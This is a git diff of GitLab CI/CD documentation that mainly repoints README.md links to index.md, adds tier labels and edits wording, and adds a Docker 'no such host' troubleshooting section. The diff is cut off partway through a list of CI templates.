--- a/doc/ci/cloud_deployment/index.md
+++ b/doc/ci/cloud_deployment/index.md
@@ -43,7 +43,7 @@ Some credentials are required to be able to run `aws` commands:
A new **Access key ID** and **Secret access key** are generated. Please take a note of them right away.
1. In your GitLab project, go to **Settings > CI/CD**. Set the following as
- [CI/CD variables](../variables/README.md)
+ [CI/CD variables](../variables/index.md)
(see table below):
- Access key ID.
@@ -91,7 +91,7 @@ path to point to your ECR image.
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207962) in GitLab 12.9.
> - The `Deploy-ECS.gitlab-ci.yml` template was [moved](https://gitlab.com/gitlab-org/gitlab/-/issues/220821) to `AWS/Deploy-ECS.gitlab-ci.yml` in GitLab 13.2.
-GitLab provides a series of [CI templates that you can include in your project](../yaml/README.md#include).
+GitLab provides a series of [CI templates that you can include in your project](../yaml/index.md#include).
To automate deployments of your application to your [Amazon Elastic Container Service](https://aws.amazon.com/ecs/) (AWS ECS)
cluster, you can `include` the `AWS/Deploy-ECS.gitlab-ci.yml` template in your `.gitlab-ci.yml` file.
@@ -101,7 +101,7 @@ GitLab also provides [Docker images](https://gitlab.com/gitlab-org/cloud-deploy/
- Use `registry.gitlab.com/gitlab-org/cloud-deploy/aws-ecs:latest` to deploy your application to AWS ECS.
Before getting started with this process, you need a cluster on AWS ECS, as well as related
-components, like an ECS service, ECS task definition, a database on AWS RDS, etc.
+components, like an ECS service, ECS task definition, a database on AWS RDS, and so on.
[Read more about AWS ECS](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/Welcome.html).
The ECS task definition can be:
@@ -117,7 +117,7 @@ After you have these prerequisites ready, follow these steps:
1. Make sure your AWS credentials are set up as CI/CD variables for your
project. You can follow [the steps above](#run-aws-commands-from-gitlab-cicd) to complete this setup.
1. Add these variables to your project's `.gitlab-ci.yml` file, or in the project's
- [CI/CD settings](../variables/README.md#custom-cicd-variables):
+ [CI/CD settings](../variables/index.md#custom-cicd-variables):
- `CI_AWS_ECS_CLUSTER`: The name of the AWS ECS cluster that you're targeting for your deployments.
- `CI_AWS_ECS_SERVICE`: The name of the targeted service tied to your AWS ECS cluster.
@@ -146,7 +146,7 @@ After you have these prerequisites ready, follow these steps:
```
You can create your `CI_AWS_ECS_TASK_DEFINITION_FILE` variable as a
- [file-typed CI/CD variable](../variables/README.md#cicd-variable-types) instead of a
+ [file-typed CI/CD variable](../variables/index.md#cicd-variable-types) instead of a
regular CI/CD variable. If you choose to do so, set the variable value to be the full contents of
the JSON task definition. You can then remove the JSON file from your project.
@@ -231,7 +231,7 @@ pass three JSON input objects, based on existing templates:
- [Template for the _Create stack_ step on AWS](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/template-anatomy.html).
- Template for the _Push to S3_ step. Note that `source` is where a preceding `build` job built
- your application, exporting the build through [`artifacts:paths`](../yaml/README.md#artifactspaths):
+ your application, exporting the build through [`artifacts:paths`](../yaml/index.md#artifactspaths):
```json
{
@@ -257,7 +257,7 @@ pass three JSON input objects, based on existing templates:
CI_AWS_EC2_DEPLOYMENT_FILE: 'aws/create_deployment.json'
```
- - Alternatively, you can provide these JSON objects as [file-typed CI/CD variables](../variables/README.md#cicd-variable-types).
+ - Alternatively, you can provide these JSON objects as [file-typed CI/CD variables](../variables/index.md#cicd-variable-types).
In your project, go to **Settings > CI/CD > Variables** and add
the three variables listed above as file-typed CI/CD variables.
For each variable, set the value to its corresponding JSON object.
diff --git a/doc/ci/directed_acyclic_graph/index.md b/doc/ci/directed_acyclic_graph/index.md
index e9725a29fc7..d965d4b83f9 100644
--- a/doc/ci/directed_acyclic_graph/index.md
+++ b/doc/ci/directed_acyclic_graph/index.md
@@ -66,9 +66,9 @@ as quickly as possible.
## Usage
-Relationships are defined between jobs using the [`needs:` keyword](../yaml/README.md#needs).
+Relationships are defined between jobs using the [`needs:` keyword](../yaml/index.md#needs).
-Note that `needs:` also works with the [parallel](../yaml/README.md#parallel) keyword,
+Note that `needs:` also works with the [parallel](../yaml/index.md#parallel) keyword,
giving you powerful options for parallelization within your pipeline.
## Limitations
@@ -76,7 +76,7 @@ giving you powerful options for parallelization within your pipeline.
A directed acyclic graph is a complicated feature, and as of the initial MVC there
are certain use cases that you may need to work around. For more information:
-- [`needs` requirements and limitations](../yaml/README.md#requirements-and-limitations).
+- [`needs` requirements and limitations](../yaml/index.md#requirements-and-limitations).
- Related epic [tracking planned improvements](https://gitlab.com/groups/gitlab-org/-/epics/1716).
## Needs Visualization
diff --git a/doc/ci/docker/README.md b/doc/ci/docker/README.md
deleted file mode 100644
index 577a80407d7..00000000000
--- a/doc/ci/docker/README.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: 'index.md'
-remove_date: '2021-05-01'
----
-
-This document was moved to [another location](index.md).
-
-<!-- This redirect file can be deleted after 2021-05-01. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/docker/index.md b/doc/ci/docker/index.md
index 20599c5ca85..4f6da72af12 100644
--- a/doc/ci/docker/index.md
+++ b/doc/ci/docker/index.md
@@ -6,9 +6,9 @@ comments: false
type: index
---
-# Docker integration
+# Docker integration **(FREE)**
-There are two primary ways to incorporate [Docker](https://www.docker.com) in your CI/CD workflow.
+There are two primary ways to incorporate [Docker](https://www.docker.com) into your CI/CD workflow:
- **[Run your CI/CD jobs](using_docker_images.md) in Docker containers.**
diff --git a/doc/ci/docker/using_docker_build.md b/doc/ci/docker/using_docker_build.md
index 9dac08324c8..c56bc9a4dc8 100644
--- a/doc/ci/docker/using_docker_build.md
+++ b/doc/ci/docker/using_docker_build.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: concepts, howto
---
-# Use Docker to build Docker images
+# Use Docker to build Docker images **(FREE)**
You can use GitLab CI/CD with Docker to create Docker images.
For example, you can create a Docker image of your application,
@@ -25,8 +25,8 @@ To enable Docker commands for your CI/CD jobs, you can use:
If you don't want to execute a runner in privileged mode,
but want to use `docker build`, you can also [use kaniko](using_kaniko.md).
-If you are using shared runners on GitLab.com,
-[learn more about how these runners are configured](../runners/README.md).
+If you are using shared runners on GitLab.com,
+[learn more about how these runners are configured](../runners/index.md).
### Use the shell executor
@@ -90,7 +90,7 @@ The Docker image has all of the `docker` tools installed and can run
the job script in context of the image in privileged mode.
We recommend you use [Docker-in-Docker with TLS enabled](#docker-in-docker-with-tls-enabled),
-which is supported by [GitLab.com shared runners](../runners/README.md).
+which is supported by [GitLab.com shared runners](../runners/index.md).
You should always specify a specific version of the image, like `docker:19.03.12`.
If you use a tag like `docker:stable`, you have no control over which version is used.
@@ -577,7 +577,7 @@ don't work because a fresh Docker daemon is started with the service.
### Option 1: Run `docker login`
-In [`before_script`](../yaml/README.md#before_script), run `docker
+In [`before_script`](../yaml/index.md#before_script), run `docker
login`:
```yaml
@@ -682,10 +682,10 @@ There are multiple ways to define this authentication:
- In [`pre_build_script`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section)
in the runner configuration file.
-- In [`before_script`](../yaml/README.md#before_script).
-- In [`script`](../yaml/README.md#script).
+- In [`before_script`](../yaml/index.md#before_script).
+- In [`script`](../yaml/index.md#script).
-The following example shows [`before_script`](../yaml/README.md#before_script).
+The following example shows [`before_script`](../yaml/index.md#before_script).
The same commands apply for any solution you implement.
```yaml
@@ -798,7 +798,7 @@ which can be avoided if a different driver is used, for example `overlay2`.
### Use the OverlayFS driver per project
You can enable the driver for each project individually by using the `DOCKER_DRIVER`
-[CI/CD variable](../yaml/README.md#variables) in `.gitlab-ci.yml`:
+[CI/CD variable](../yaml/index.md#variables) in `.gitlab-ci.yml`:
```yaml
variables:
@@ -840,3 +840,30 @@ This issue occurs because Docker starts on TLS automatically.
[use the Docker executor with the Docker image](#use-the-docker-executor-with-the-docker-image-docker-in-docker).
- If you are upgrading from v18.09 or earlier, read our
[upgrade guide](https://about.gitlab.com/blog/2019/07/31/docker-in-docker-with-docker-19-dot-03/).
+
+### Docker `no such host` error
+
+You may get an error that says
+`docker: error during connect: Post https://docker:2376/v1.40/containers/create: dial tcp: lookup docker on x.x.x.x:53: no such host`.
+
+This issue can occur when the service's image name
+[includes a registry hostname](../../ci/services/index.md#available-settings-for-services). For example:
+
+```yaml
+image: docker:19.03.12
+
+services:
+ - registry.hub.docker.com/library/docker:19.03.12-dind
+```
+
+A service's hostname is [derived from the full image name](../../ci/services/index.md#accessing-the-services).
+However, the shorter service hostname `docker` is expected.
+To allow service resolution and access, add an explicit alias for the service name `docker`:
+
+```yaml
+image: docker:19.03.12
+
+services:
+ - name: registry.hub.docker.com/library/docker:19.03.12-dind
+ alias: docker
+```
diff --git a/doc/ci/docker/using_docker_images.md b/doc/ci/docker/using_docker_images.md
index 29f4053f720..c2991ce66f9 100644
--- a/doc/ci/docker/using_docker_images.md
+++ b/doc/ci/docker/using_docker_images.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: concepts, howto
---
-# Run your CI/CD jobs in Docker containers
+# Run your CI/CD jobs in Docker containers **(FREE)**
You can run your CI/CD jobs in separate, isolated Docker containers.
@@ -153,9 +153,9 @@ CI/CD jobs:
from `Dockerfile` that may be overridden in the `.gitlab-ci.yml` file.
1. The runner attaches itself to a running container.
1. The runner prepares a script (the combination of
- [`before_script`](../yaml/README.md#before_script),
- [`script`](../yaml/README.md#script),
- and [`after_script`](../yaml/README.md#after_script)).
+ [`before_script`](../yaml/index.md#before_script),
+ [`script`](../yaml/index.md#script),
+ and [`after_script`](../yaml/index.md#after_script)).
1. The runner sends the script to the container's shell `stdin` and receives the
output.
@@ -225,7 +225,7 @@ To access private container registries, the GitLab Runner process can use:
To define which option should be used, the runner process reads the configuration in this order:
- A `DOCKER_AUTH_CONFIG` variable provided as either:
- - A [CI/CD variable](../variables/README.md) in the `.gitlab-ci.yml` file.
+ - A [CI/CD variable](../variables/index.md) in the `.gitlab-ci.yml` file.
- A project's variables stored on the project's **Settings > CI/CD** page.
- A `DOCKER_AUTH_CONFIG` variable provided as environment variable in the runner's `config.toml` file.
- A `config.json` file in `$HOME/.docker` directory of the user running the process.
@@ -322,7 +322,7 @@ Use one of the following methods to determine the value of `DOCKER_AUTH_CONFIG`:
To configure a single job with access for `registry.example.com:5000`,
follow these steps:
-1. Create a [CI/CD variable](../variables/README.md) `DOCKER_AUTH_CONFIG` with the content of the
+1. Create a [CI/CD variable](../variables/index.md) `DOCKER_AUTH_CONFIG` with the content of the
Docker configuration file as the value:
```json
@@ -395,7 +395,7 @@ To configure a Credentials Store:
1. Make GitLab Runner use it. There are two ways to accomplish this. Either:
- Create a
- [CI/CD variable](../variables/README.md)
+ [CI/CD variable](../variables/index.md)
`DOCKER_AUTH_CONFIG` with the content of the
Docker configuration file as the value:
@@ -427,7 +427,7 @@ To configure access for `aws_account_id.dkr.ecr.region.amazonaws.com`, follow th
Make sure that GitLab Runner can access the credentials.
1. Make GitLab Runner use it. There are two ways to accomplish this. Either:
- - Create a [CI/CD variable](../variables/README.md)
+ - Create a [CI/CD variable](../variables/index.md)
`DOCKER_AUTH_CONFIG` with the content of the
Docker configuration file as the value:
diff --git a/doc/ci/docker/using_kaniko.md b/doc/ci/docker/using_kaniko.md
index 05769cc8f75..108d4e0dcad 100644
--- a/doc/ci/docker/using_kaniko.md
+++ b/doc/ci/docker/using_kaniko.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: howto
---
-# Use kaniko to build Docker images
+# Use kaniko to build Docker images **(FREE)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/45512) in GitLab 11.2. Requires GitLab Runner 11.2 and above.
@@ -49,7 +49,7 @@ In the following example, kaniko is used to:
The job runs only when a tag is pushed. A `config.json` file is created under
`/kaniko/.docker` with the needed GitLab Container Registry credentials taken from the
-[predefined CI/CD variables](../variables/README.md#predefined-cicd-variables)
+[predefined CI/CD variables](../variables/index.md#predefined-cicd-variables)
GitLab CI/CD provides.
In the last step, kaniko uses the `Dockerfile` under the
@@ -133,7 +133,7 @@ The [Least Privilege Container Builds with Kaniko on GitLab](https://www.youtube
video is a walkthrough of the [Kaniko Docker Build](https://gitlab.com/guided-explorations/containers/kaniko-docker-build)
Guided Exploration project pipeline. It was tested on:
-- [GitLab.com shared runners](../runners/README.md)
+- [GitLab.com shared runners](../runners/index.md)
- [The Kubernetes runner executor](https://docs.gitlab.com/runner/executors/kubernetes.html)
The example can be copied to your own group or instance for testing. More details
diff --git a/doc/ci/enable_or_disable_ci.md b/doc/ci/enable_or_disable_ci.md
index 4633cc1a3f8..341727f0f5d 100644
--- a/doc/ci/enable_or_disable_ci.md
+++ b/doc/ci/enable_or_disable_ci.md
@@ -5,13 +5,13 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: howto
---
-# How to enable or disable GitLab CI/CD
+# How to enable or disable GitLab CI/CD **(FREE)**
To effectively use GitLab CI/CD, you need:
-- A valid [`.gitlab-ci.yml`](yaml/README.md) file present at the root directory
+- A valid [`.gitlab-ci.yml`](yaml/index.md) file present at the root directory
of your project.
-- A [runner](runners/README.md) properly set up.
+- A [runner](runners/index.md) properly set up.
You can read our [quick start guide](quick_start/index.md) to get you started.
diff --git a/doc/ci/environments/deployment_safety.md b/doc/ci/environments/deployment_safety.md
index c57dc99f341..033e499d3d0 100644
--- a/doc/ci/environments/deployment_safety.md
+++ b/doc/ci/environments/deployment_safety.md
@@ -25,7 +25,8 @@ If you are using a continuous deployment workflow and want to ensure that concur
## Restrict write access to a critical environment
-By default, environments can be modified by any team member that has [Developer permission or higher](../../user/permissions.md#project-members-permissions).
+By default, environments can be modified by any team member that has at least the
+[Developer role](../../user/permissions.md#project-members-permissions).
If you want to restrict write access to a critical environment (for example a `production` environment),
you can set up [protected environments](protected_environments.md).
@@ -35,7 +36,7 @@ Pipeline jobs in GitLab CI/CD run in parallel, so it's possible that two deploym
jobs in two different pipelines attempt to deploy to the same environment at the same
time. This is not desired behavior as deployments should happen sequentially.
-You can ensure only one deployment job runs at a time with the [`resource_group` keyword](../yaml/README.md#resource_group) in your `.gitlab-ci.yml`.
+You can ensure only one deployment job runs at a time with the [`resource_group` keyword](../yaml/index.md#resource_group) in your `.gitlab-ci.yml`.
For example:
@@ -59,7 +60,7 @@ The improved pipeline flow **after** using the resource group:
1. `deploy` job in Pipeline-A finishes.
1. `deploy` job in Pipeline-B starts running.
-For more information, see [`resource_group` keyword in `.gitlab-ci.yml`](../yaml/README.md#resource_group).
+For more information, see [`resource_group` keyword in `.gitlab-ci.yml`](../yaml/index.md#resource_group).
## Skip outdated deployment jobs
@@ -110,7 +111,7 @@ for an explanation of these roles and the permissions of each.
Production secrets are needed to deploy successfully. For example, when deploying to the cloud,
cloud providers require these secrets to connect to their services. In the project settings, you can
-define and protect CI/CD variables for these secrets. [Protected variables](../variables/README.md#protect-a-cicd-variable)
+define and protect CI/CD variables for these secrets. [Protected variables](../variables/index.md#protect-a-cicd-variable)
are only passed to pipelines running on [protected branches](../../user/project/protected_branches.md)
or [protected tags](../../user/project/protected_tags.md).
The other pipelines don't get the protected variable. You can also
@@ -129,7 +130,7 @@ All project maintainers have access to production secrets. If you need to limit
that can deploy to a production environment, you can create a separate project and configure a new
permission model that isolates the CD permissions from the original project and prevents the
original project's maintainers from accessing the production secret and CD configuration. You can
-connect the CD project to your development projects by using [multi-project pipelines](../multi_project_pipelines.md).
+connect the CD project to your development projects by using [multi-project pipelines](../pipelines/multi_project_pipelines.md).
## Protect `gitlab-ci.yml` from change
@@ -141,7 +142,7 @@ reference a file in another project with a completely different set of permissio
In this scenario, the `gitlab-ci.yml` is publicly accessible, but can only be edited by users with
appropriate permissions in the other project.
-For more information, see [Custom CI/CD configuration path](../pipelines/settings.md#custom-cicd-configuration-file).
+For more information, see [Custom CI/CD configuration path](../pipelines/settings.md#specify-a-custom-cicd-configuration-file).
## Troubleshooting
diff --git a/doc/ci/environments/environments_dashboard.md b/doc/ci/environments/environments_dashboard.md
index a89bc1c89aa..ae459b9016c 100644
--- a/doc/ci/environments/environments_dashboard.md
+++ b/doc/ci/environments/environments_dashboard.md
@@ -29,7 +29,7 @@ The Environments dashboard displays a paginated list of projects that includes
up to three environments per project.
The listed environments for each project are unique, such as
-"production", "staging", etc. Review apps and other grouped
+"production", "staging", and so on. Review apps and other grouped
environments are not displayed.
## Adding a project to the dashboard
diff --git a/doc/ci/environments/index.md b/doc/ci/environments/index.md
index 62c58302886..e647a704a87 100644
--- a/doc/ci/environments/index.md
+++ b/doc/ci/environments/index.md
@@ -10,7 +10,7 @@ disqus_identifier: 'https://docs.gitlab.com/ee/ci/environments.html'
Environments describe where code is deployed.
-Each time [GitLab CI/CD](../yaml/README.md) deploys a version of code to an environment,
+Each time [GitLab CI/CD](../yaml/index.md) deploys a version of code to an environment,
a deployment is created.
GitLab:
@@ -84,7 +84,7 @@ When the job runs, the environment and deployment are created.
NOTE:
Some characters cannot be used in environment names.
For more information about the `environment` keywords, see
-[the `.gitlab-ci.yml` keyword reference](../yaml/README.md#environment).
+[the `.gitlab-ci.yml` keyword reference](../yaml/index.md#environment).
### Create a dynamic environment
@@ -107,7 +107,7 @@ deploy_review:
In this example:
-- The `name` is `review/$CI_COMMIT_REF_NAME`. Because the [environment name](../yaml/README.md#environmentname)
+- The `name` is `review/$CI_COMMIT_REF_NAME`. Because the [environment name](../yaml/index.md#environmentname)
can contain slashes (`/`), you can use this pattern to distinguish between dynamic and static environments.
- For the `url`, you could use `$CI_COMMIT_REF_NAME`, but because this value
may contain a `/` or other characters that would not be valid in a domain name or URL,
@@ -119,7 +119,7 @@ However, when you use this format, you can [group similar environments](#group-s
NOTE:
Some variables cannot be used as environment names or URLs.
For more information about the `environment` keywords, see
-[the `.gitlab-ci.yml` keyword reference](../yaml/README.md#environment).
+[the `.gitlab-ci.yml` keyword reference](../yaml/index.md#environment).
## Deployment tier of environments
@@ -141,8 +141,8 @@ you can use tiers:
| `development` | Dev, [Review apps](../review_apps/index.md), Trunk |
| `other` | |
-By default, GitLab assumes a tier based on [the environment name](../yaml/README.md#environmentname).
-Instead, you can use the [`deployment_tier` keyword](../yaml/README.md#environmentdeployment_tier) to specify a tier.
+By default, GitLab assumes a tier based on [the environment name](../yaml/index.md#environmentname).
+Instead, you can use the [`deployment_tier` keyword](../yaml/index.md#environmentdeployment_tier) to specify a tier.
## Configure manual deployments
@@ -250,7 +250,7 @@ GitLab supports the [dotenv (`.env`)](https://github.com/bkeepers/dotenv) file f
and expands the `environment:url` value with variables defined in the `.env` file.
To use this feature, specify the
-[`artifacts:reports:dotenv`](../yaml/README.md#artifactsreportsdotenv) keyword in `.gitlab-ci.yml`.
+[`artifacts:reports:dotenv`](../yaml/index.md#artifactsreportsdotenv) keyword in `.gitlab-ci.yml`.
<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
For an overview, see [Set dynamic URLs after a job finished](https://youtu.be/70jDXtOf4Ig).
@@ -302,7 +302,7 @@ Note the following:
- If the environment URL isn't valid (for example, the URL is malformed), the system doesn't update
the environment URL.
- If the script that runs in `stop_review` exists only in your repository and therefore can't use
- `GIT_STRATEGY: none`, configure [pipelines for merge requests](../../ci/merge_request_pipelines/index.md)
+ `GIT_STRATEGY: none`, configure [pipelines for merge requests](../../ci/pipelines/merge_request_pipelines.md)
for these jobs. This ensures that runners can fetch the repository even after a feature branch is
deleted. For more information, see [Ref Specs for Runners](../pipelines/index.md#ref-specs-for-runners).
@@ -334,7 +334,7 @@ To retry or rollback a deployment:
### Environment URL
-The [environment URL](../yaml/README.md#environmenturl) is displayed in a few
+The [environment URL](../yaml/index.md#environmenturl) is displayed in a few
places in GitLab:
- In a merge request as a link:
@@ -364,7 +364,7 @@ When you stop an environment:
- On the **Environments** page, it moves from the list of **Available** environments
to the list of **Stopped** environments.
-- An [`on_stop` action](../yaml/README.md#environmenton_stop), if defined, is executed.
+- An [`on_stop` action](../yaml/index.md#environmenton_stop), if defined, is executed.
Dynamic environments stop automatically when their associated branch is
deleted.
@@ -400,20 +400,20 @@ stop_review:
when: manual
```
-Both jobs must have the same [`rules`](../yaml/README.md#only--except)
-or [`only/except`](../yaml/README.md#only--except) configuration. Otherwise,
+Both jobs must have the same [`rules`](../yaml/index.md#only--except)
+or [`only/except`](../yaml/index.md#only--except) configuration. Otherwise,
the `stop_review` job might not be included in all pipelines that include the
`deploy_review` job, and you cannot trigger `action: stop` to stop the environment automatically.
The job with [`action: stop` might not run](#the-job-with-action-stop-doesnt-run)
if it's in a later stage than the job that started the environment.
-If you can't use [pipelines for merge requests](../merge_request_pipelines/index.md),
+If you can't use [pipelines for merge requests](../pipelines/merge_request_pipelines.md),
set the [`GIT_STRATEGY`](../runners/configure_runners.md#git-strategy) to `none` in the
`stop_review` job. Then the [runner](https://docs.gitlab.com/runner/) doesn't
try to check out the code after the branch is deleted.
-Read more in the [`.gitlab-ci.yml` reference](../yaml/README.md#environmenton_stop).
+Read more in the [`.gitlab-ci.yml` reference](../yaml/index.md#environmenton_stop).
#### Stop an environment after a certain time period
@@ -421,7 +421,7 @@ Read more in the [`.gitlab-ci.yml` reference](../yaml/README.md#environmenton_st
You can set environments to stop automatically after a certain time period.
-In your `.gitlab-ci.yml` file, specify the [`environment:auto_stop_in`](../yaml/README.md#environmentauto_stop_in)
+In your `.gitlab-ci.yml` file, specify the [`environment:auto_stop_in`](../yaml/index.md#environmentauto_stop_in)
keyword. You can specify a human-friendly date as the value, such as `1 hour and 30 minutes` or `1 day`.
After the time period passes, GitLab automatically triggers a job to stop the environment.
@@ -691,7 +691,7 @@ with `review/` would have that variable available.
Some GitLab features can behave differently for each environment.
For example, you can
-[create a project CI/CD variable to be injected only into a production environment](../variables/README.md#limit-the-environment-scope-of-a-cicd-variable).
+[create a project CI/CD variable to be injected only into a production environment](../variables/index.md#limit-the-environment-scope-of-a-cicd-variable).
In most cases, these features use the _environment specs_ mechanism, which offers
an efficient way to implement scoping in each environment group.
@@ -767,7 +767,7 @@ To ensure the `action: stop` can always run when needed, you can:
when: manual
```
-- Add a [`needs`](../yaml/README.md#needs) entry to the `action: stop` job so the
+- Add a [`needs`](../yaml/index.md#needs) entry to the `action: stop` job so the
job can start out of stage order:
```yaml
diff --git a/doc/ci/environments/protected_environments.md b/doc/ci/environments/protected_environments.md
index c276059cb9e..9bc3c97837c 100644
--- a/doc/ci/environments/protected_environments.md
+++ b/doc/ci/environments/protected_environments.md
@@ -39,7 +39,7 @@ To protect an environment:
- **Maintainers**: Allows access to all maintainers in the project.
- **Developers**: Allows access to all maintainers and all developers in the project.
- You can only select groups that are already associated with the project.
- - Only users that have at least the Developer permission level appear in
+ - Only users that have at least the Developer role appear in
the **Allowed to Deploy** dropdown menu.
1. Click the **Protect** button.
@@ -112,7 +112,7 @@ protected environments with this method.
## Deployment branch access
-Users with [Developer permissions](../../user/permissions.md) can be granted
+Users with the [Developer role](../../user/permissions.md) can be granted
access to a protected environment through any of these methods:
- As an individual contributor, through a role.
diff --git a/doc/ci/examples/README.md b/doc/ci/examples/README.md
index 90273190697..5ab8653dc35 100644
--- a/doc/ci/examples/README.md
+++ b/doc/ci/examples/README.md
@@ -1,182 +1,8 @@
---
-stage: Verify
-group: Pipeline Execution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
-comments: false
-type: index
+redirect_to: 'index.md'
---
-# GitLab CI/CD Examples
+This document was moved to [another location](index.md).
-This page contains links to a variety of examples that can help you understand how to
-implement [GitLab CI/CD](../README.md) for your specific use case.
-
-Examples are available in several forms. As a collection of:
-
-- `.gitlab-ci.yml` [template files](#cicd-templates) maintained in GitLab, for many
- common frameworks and programming languages.
-- Repositories with [example projects](https://gitlab.com/gitlab-examples) for various languages. You can fork and adjust them to your own needs. Projects include an example of using [Review Apps with a static site served by NGINX](https://gitlab.com/gitlab-examples/review-apps-nginx/).
-- Examples and [other resources](#other-resources) listed below.
-
-## CI/CD examples
-
-The following table lists examples with step-by-step tutorials that are contained in this section:
-
-| Use case | Resource |
-|-------------------------------|----------|
-| Browser performance testing | [Browser Performance Testing with the Sitespeed.io container](../../user/project/merge_requests/browser_performance_testing.md). |
-| Deployment with Dpl | [Using `dpl` as deployment tool](deployment/README.md). |
-| GitLab Pages | See the [GitLab Pages](../../user/project/pages/index.md) documentation for a complete example of deploying a static site. |
-| End-to-end testing | [End-to-end testing with GitLab CI/CD and WebdriverIO](end_to_end_testing_webdriverio/index.md). |
-| Load performance testing | [Load Performance Testing with the k6 container](../../user/project/merge_requests/load_performance_testing.md). |
-| Multi project pipeline | [Build, test deploy using multi project pipeline](https://gitlab.com/gitlab-examples/upstream-project). |
-| npm with semantic-release | [Publish npm packages to the GitLab Package Registry using semantic-release](semantic-release.md). |
-| PHP with Laravel, Envoy | [Test and deploy Laravel applications with GitLab CI/CD and Envoy](laravel_with_gitlab_and_envoy/index.md). |
-| PHP with npm, SCP | [Running Composer and npm scripts with deployment via SCP in GitLab CI/CD](deployment/composer-npm-deploy.md). |
-| PHP with PHPunit, `atoum` | [Testing PHP projects](php.md). |
-| Secrets management with Vault | [Authenticating and Reading Secrets With HashiCorp Vault](authenticating-with-hashicorp-vault/index.md). |
-
-### Contributed examples
-
-You can help people that use your favorite programming language by submitting a link
-to a guide for that language. These contributed guides are hosted externally or in
-separate example projects:
-
-| Use case | Resource |
-|-------------------------------|----------|
-| Clojure | [Test a Clojure application with GitLab CI/CD](https://gitlab.com/gitlab-examples/clojure-web-application). |
-| Game development | [DevOps and Game Development with GitLab CI/CD](https://gitlab.com/gitlab-examples/gitlab-game-demo/). |
-| Java with Maven | [How to deploy Maven projects to Artifactory with GitLab CI/CD](https://gitlab.com/gitlab-examples/maven/simple-maven-example). |
-| Java with Spring Boot | [Deploy a Spring Boot application to Cloud Foundry with GitLab CI/CD](https://gitlab.com/gitlab-examples/spring-gitlab-cf-deploy-demo). |
-| Parallel testing Ruby & JS | [GitLab CI/CD parallel jobs testing for Ruby & JavaScript projects](https://docs.knapsackpro.com/2019/how-to-run-parallel-jobs-for-rspec-tests-on-gitlab-ci-pipeline-and-speed-up-ruby-javascript-testing). |
-| Python on Heroku | [Test and deploy a Python application with GitLab CI/CD](https://gitlab.com/gitlab-examples/python-getting-started). |
-| Ruby on Heroku | [Test and deploy a Ruby application with GitLab CI/CD](https://gitlab.com/gitlab-examples/ruby-getting-started). |
-| Scala on Heroku | [Test and deploy a Scala application to Heroku](https://gitlab.com/gitlab-examples/scala-sbt). |
-
-## CI/CD templates
-
-Get started with GitLab CI/CD and your favorite programming language or framework by using a
-`.gitlab-ci.yml` [template](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates).
-
-When you create a `gitlab-ci.yml` file in the UI, you can
-choose one of these templates:
-
-- [Android (`Android.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Android.gitlab-ci.yml)
-- [Android with fastlane (`Android-Fastlane.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Android-Fastlane.gitlab-ci.yml)
-- [Bash (`Bash.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Bash.gitlab-ci.yml)
-- [C++ (`C++.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/C++.gitlab-ci.yml)
-- [Chef (`Chef.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Chef.gitlab-ci.yml)
-- [Clojure (`Clojure.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Clojure.gitlab-ci.yml)
-- [Composer `Composer.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Composer.gitlab-ci.yml)
-- [Crystal (`Crystal.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Crystal.gitlab-ci.yml)
-- [Dart (`Dart.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Dart.gitlab-ci.yml)
-- [Django (`Django.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Django.gitlab-ci.yml)
-- [Docker (`Docker.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Docker.gitlab-ci.yml)
-- [dotNET (`dotNET.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/dotNET.gitlab-ci.yml)
-- [dotNET Core (`dotNET-Core.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/dotNET-Core.yml)
-- [Elixir (`Elixir.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Elixir.gitlab-ci.yml)
-- [Flutter (`Flutter.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Flutter.gitlab-ci.yml)
-- [goLang (`Go.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Go.gitlab-ci.yml)
-- [Gradle (`Gradle.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Gradle.gitlab-ci.yml)
